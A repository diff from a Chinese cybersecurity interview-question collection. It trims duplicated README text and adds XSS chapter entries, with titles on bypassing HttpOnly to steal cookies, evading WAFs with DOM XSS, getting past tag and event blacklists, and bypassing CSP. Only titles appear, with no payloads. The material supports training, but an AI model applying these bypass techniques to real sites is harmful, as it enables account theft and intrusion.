|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
@@ -1,4 +1,4 @@
|
||||
# 全网首发！！！最全的网安面试题附参考答案（涵盖护网、红队、逆向、密码学、二进制）
|
||||
# 全网首发！！！最全的网安面试题附参考答案（涵盖护网、红队、逆向、密码学、二进制、AI、区块链）
|
||||
|
||||
GitHub 地址：https://github.com/duckpigdog/Sec-Interview
|
||||
|
||||
@@ -40,5 +40,4 @@ HR：请问…………
|
||||
- [zero](https://forum.butian.net/people/25569)
|
||||
- **星盟安全-namename123**
|
||||
|
||||
添加友链请加上方微信
|
||||
|
||||
添加友链请加上方微信
|
||||
@@ -41,6 +41,13 @@
|
||||
- [2.4 XSS 怎么打内网](Chapter2/2-4.md)
|
||||
- [2.5 XSS 如何绕过 HttpOnly 获取 Cookie](Chapter2/2-5.md)
|
||||
- [2.6 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制](Chapter2/2-6.md)
|
||||
- [2.7 反射型、存储型、DOM 型 XSS 的核心区别](Chapter2/2-7.md)
|
||||
- [2.8 为什么说 DOM XSS 对传统 WAF 基本免疫](Chapter2/2-8.md)
|
||||
- [2.9 如果你发现一个输入点最终进入了 `<textarea>`，你是直接放弃，还是继续深入？为什么？](Chapter2/2-9.md)
|
||||
- [2.10 为什么很多 XSS 在 Chrome 可以复现，但在 Firefox 不行？你如何判断这是漏洞问题还是浏览器差异？](Chapter2/2-10.md)
|
||||
- [2.11 黑名单拦截了所有常见标签和事件，但页面仍然需要支持富文本渲染，你会从哪些方向尝试突破？](Chapter2/2-11.md)
|
||||
- [2.12 CSP 的绕过方式有哪些](Chapter2/2-12.md)
|
||||
- [2.13 CSP 的绕过方式有哪些](Chapter2/2-13.md)
|
||||
- [3. CSRF](Chapter3/README.md)
|
||||
- [3.1 SameSite 防御 CSRF 的原理](Chapter3/3-1.md)
|
||||
- [3.2 JSON 格式的 CSRF 如何防御](Chapter3/3-2.md)
|
||||
|
||||
Reference in New Issue
Block a user